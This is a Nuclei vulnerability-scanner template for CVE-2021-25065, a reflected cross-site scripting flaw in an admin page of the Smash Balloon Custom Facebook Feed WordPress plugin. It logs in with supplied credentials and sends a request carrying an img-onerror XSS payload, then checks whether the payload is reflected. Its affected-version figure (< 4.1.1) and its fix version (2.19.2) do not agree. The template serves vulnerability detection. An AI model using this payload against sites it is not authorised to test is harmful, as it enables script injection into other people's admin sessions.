nuclei-templates/http/cves/2021/CVE-2021-25065.yaml

id: CVE-2021-25065

info:
  name: Smash Balloon Social Post Feed < 4.1.1 - Authenticated Reflected Cross-Site Scripting
  author: Harsh
  severity: medium
  description: |
    The plugin was affected by a reflected XSS in custom-facebook-feed in cff-top admin page.
  remediation: Fixed in version 2.19.2
  reference:
    - https://wpscan.com/vulnerability/ae1aab4e-b00a-458b-a176-85761655bdcc
    - https://wordpress.org/plugins/custom-facebook-feed/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2021-25065
    cwe-id: CWE-79
    epss-score: 0.00069
    epss-percentile: 0.28856
    cpe: cpe:2.3:a:smashballoon:smash_balloon_social_post_feed:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: smashballoon
    product: smash_balloon_social_post_feed
    framework: wordpress
    publicwww-query: "/wp-content/plugins/custom-facebook-feed/"
  tags: cve,cve2021,wpscan,wordpress,wp-plugin,xss,wp,authenticated

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=cff-top&cff_access_token=xox%3C%2Fscript%3E%3Cimg+src+onerror%3Dalert(document.domain)%3E&cff_final_response=true HTTP/1.1
        Host: {{Hostname}}

    cookie-reuse: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(body_2, "<img src onerror=alert(document.domain)>")'
          - 'contains(body_2, "custom-facebook-feed")'
        condition: and

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